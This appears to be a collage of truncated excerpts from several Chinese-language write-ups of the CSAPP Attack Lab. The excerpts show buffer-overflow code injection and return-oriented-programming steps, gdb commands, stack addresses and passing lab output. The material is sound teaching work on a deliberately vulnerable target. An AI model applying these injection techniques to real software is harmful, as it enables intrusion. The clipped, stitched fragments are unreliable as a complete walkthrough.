Type string:Touch2!: You called touch2(0x59b997fa)Valid solutionforlevel2with target rtarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:rtarget:2 Part2 Level3 (Phase 5) 这个部分就完全如法炮制的执行到Phase 3即可。通过上...
Extra关卡要求就是做到和phase3一样。可以用farm里的所有gadgets,official solution要8个小工具。touch3代码如下: voidtouch3(char*sval){vlevel=3;if(hexmatch(cookie,sval)){printf("Touch3!: You called touch3(\"%s\")\n",sval);validate(3);}else{printf("Misfire: You called touch3(\"%s\")\n",...
# 使用hex2raw进行处理 将16进制数据 转换成对应的字符串, 这里不建议在生成raw文件 加.txt后缀 csapp@5da1ca66de8a:/workspaces/csapp/lab3/attack_lab$ ./hex2raw < exploit-phase1.txt > exploit-raw-phase1 # 注入字符串 csapp@5da1ca66de8a:/workspaces/csapp/lab3/attack_lab$ ./ctarget -q ...
这里我们把上一个Phase的cookie值改成了指向cookie字符串(第一行C3后面那些)的地址——0x5561dc85,也就是注入字符串的起始地址(后面的0x5561dc78)加上13(正好指向上面第一行的35)。除此之外我们还把push指令要压入栈的touch2地址改成了touch3的地址(68后面四个字节)(相对无关紧要)。C3对应的是ret指令,也就...
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt|./ctarget -q Cookie: 0x59b997fa Type string:Touch3!: You called touch3("59b997fa")Valid solutionforlevel3with target ctarget PASS: Would have posted the following: ...
CSAPP LAB 3 AttackLab attacklab 文件下载 文件组成 提交 说明 正式开始 Code Injection Attack pahse_1 phase_2 phase_3 Return-Oriented Programming phase_4 phase_5 总结 准备 文件下载 所有文件均可以从官网上直接下载:Lab Assignments 与前两个使用不同的是,本实验需要严格按照PDF内的说明完成...
Valid solution for level 1 with target ctarget PASS: Sent exploit string to server to be validated. NICE JOB! Phase 2 gdb ctarget b getbuf r layout asm layout regs 待到sub $0x18,%rsp这条执行完后,也就可以获得当前的栈指针,即缓冲区起始地址0x55634688 ...
Phase1 phase1就是想让我们从getbuf(test)直接跳到touch1,然后就可以过了 voidtest(){intval;val=getbuf();printf("No exploit. Getbuf returned 0x%x\n",val);//若无溢出就会输出这段话}voidtouch1(){vlevel=1;/* Part of validation protocol */printf("Touch1!: You called touch1()\n");valida...
root@65f9e6ae256b:/usr/csapp/attacklab/target1# ./hex2raw < ctarget_phase3.txt | ./ctarget -qCookie:0x59b997faTypestring:Touch3!:You called touch3("59b997fa") Valid solutionforlevel3with target ctargetPASS:Would have posted thefollowing:user id bovik ...
hack@ubuntu:~/Desktop/csapp_lab/attack-handout$./hex2raw<level1.txt|./ctarget-q Cookie:0x59b997faType string:Touch1!:You calledtouch1()Valid solutionforPhase1 with target ctarget PASS:Would have posted the following:user id bovik